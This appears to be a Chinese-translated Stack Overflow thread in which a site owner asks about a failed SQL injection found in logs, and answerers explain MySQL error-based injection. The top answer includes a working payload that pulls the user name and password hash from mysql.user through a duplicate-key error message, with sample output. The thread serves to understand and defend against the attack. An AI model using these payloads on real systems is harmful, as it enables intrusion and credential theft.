【问题标题】:SQL Injection attack - What does this do?SQL 注入攻击 - 这是做什么的?
【发布时间】:2012-08-01 00:29:14
【问题描述】:

我在我的网站上检测到一些失败的 SQL 注入攻击。 失败的查询格式如下:

SELECT 6106 FROM(SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x)

':sjw:1:ukt:1' 部分是特殊构造的,变量连接在一起以给出随机 0 或 1 等。

我想知道这些查询有什么作用?

数据库是 MySQL。

更新:这是注入的原始 SQL:

(SELECT 6106
 FROM  (SELECT COUNT(*),
               CONCAT(
                        CHAR(58, 115, 106, 119, 58), 
                        (SELECT ( CASE WHEN ( 6106 = 6106 ) THEN 1 ELSE 0 END )), 
                        CHAR(58, 117, 107, 116, 58), 
                        FLOOR(RAND(0) * 2)
                      ) x
        FROM   INFORMATION_SCHEMA.TABLES
        GROUP  BY x)a) 

消息失败

密钥“group_key”的重复条目“:sjw:1:ukt:1”

【问题讨论】:

  • 你有GETPOST请求的例子吗?
  • 该查询的哪一部分来自应用程序,哪一部分被注入?
  • 这只是注入位

标签: mysql security sql-injection


【解决方案1】:

执行带括号的子查询将为您提供系统中的表数。我想主要目的可能是创建查询并查看生成的 HTML 中输出出现的位置。因此随机字符串。外部SELECT 无效,因为它的子查询没有别名。所以我认为这种不正确是这次攻击失败的原因。他们可能一直在尝试查看可以注入哪些句法结构以及哪些会破坏查询。

【讨论】:

    【解决方案2】:

    Select 只会输出数字,所以在你的情况下答案总是 6106

    SELECT COUNT(*),':sjw:1:ukt:1'x FROM information_schema.tables GROUP BY x 
    

    应该给出不同的答案,它会给出系统中的表数加上在名称x下插入的随机文本,仅此而已

    简而言之,这是一个毫无意义的查询,内部查询的结果永远不会显示,整个查询的结果是预先确定的,似乎注入以某种方式自动以这种奇怪的方式记录攻击

    【讨论】:

      【解决方案3】:

      攻击的真正作用

      其他回答者错过了有关此攻击的一个微妙但巧妙的细节。注意错误消息Duplicate entry ':sjw:1:ukt:1' for key 'group_key'。字符串 :sjw:1:ukt:1 实际上是 MySQL 服务器计算的表达式的结果。如果您的应用程序将 MySQL 错误字符串发送回浏览器,则 错误消息可能会从您的数据库中泄漏数据

      这种攻击用于查询结果没有以其他方式发送回浏览器(盲 SQL 注入)的情况,或者经典的 UNION SELECT 攻击难以实施的情况。它也适用于 INSERT/UPDATE/DELETE 查询。

      正如 Hawili 所说,最初的特定查询不应该泄露任何信息,它只是一个测试,看看您的应用程序是否容易受到这种注入的攻击。

      攻击没有像 MvG 建议的那样失败,导致此错误是查询的目的。

      如何使用它的更好示例:

      > SELECT COUNT(*),CONCAT((SELECT CONCAT(user,password) FROM mysql.user LIMIT 1),
      >                        0x20, FLOOR(RAND(0)*2)) x
      > FROM information_schema.tables GROUP BY x;
      ERROR 1062 (23000): Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key 'group_key'
      

      为什么会出现错误

      为什么查询会在 MySQL 中导致这个错误对我来说有点神秘。它看起来像一个 MySQL 错误,因为 GROUP BY 应该通过聚合它们来处理重复的条目。 Hawili 对查询的简化实际上并不会导致错误!

      表达式FLOOR(RAND(0)*2)根据随机种子参数0按顺序给出以下结果:

      > SELECT FLOOR(RAND(0)*2)x FROM information_schema.tables;
      +---+
      | x |
      +---+
      | 0 |
      | 1 |
      | 1 | <-- error happens here
      | 0 |
      | 1 |
      | 1 |
       ...
      

      因为第 3 个值与第 2 个重复,所以会抛出此错误。任何至少有 3 行的 FROM 表都可以使用,但 information_schema.tables 是常见的。 COUNT(*) 和 GROUP BY 部分是在 MySQL 中引发错误所必需的:

      > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x;
      ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
      

      在 PostgreSQL 等效查询中不会出现此错误:

      # SELECT SETSEED(0);
      # SELECT COUNT(*),FLOOR(RANDOM()*2)x FROM information_schema.tables GROUP BY x;
       count | x 
      -------+---
          83 | 0
          90 | 1
      

      (很抱歉迟到了 1 年才回答,但我今天偶然发现了这个问题。这个问题对我来说很有趣,因为我不知道有办法通过 MySQL 的错误消息泄露数据)

      【讨论】:

      • 它总是让我感到惊讶,一个人花了多少精力研究注射而不是修复它们。
      • 非常好的分析!似乎有一个错误。请参阅bugs.mysql.com/bug.php?id=60808 另请参阅sqlfiddle.com/#!2/d41d8/23867,它显示了 MySQL 5.5.32 中的错误。该示例使用您的 CONCAT 想法,并在错误消息(但不是结果集)碰巧返回给用户时显示信息(可能是每个 SELECTable 表中的所有内容)。当然,它需要注入或其他方式来提交流氓查询。来自 SQL Fiddle 的查询无法 SELECT FROM mysql.user,但易受注入攻击的登录查询可能会像您显示的那样获得密码哈希。
      • 有人在我们的一个网站上尝试过这个。选择语句之一导致_!@4dilemma:1。有人见过这个吗?
      猜你喜欢
      • 2010-09-17
      • 1970-01-01
      • 2012-04-14
      • 1970-01-01
      • 2015-10-03
      • 2019-08-10
      • 2013-08-15
      • 2013-05-21
      • 2021-12-11
      相关资源
      最近更新 更多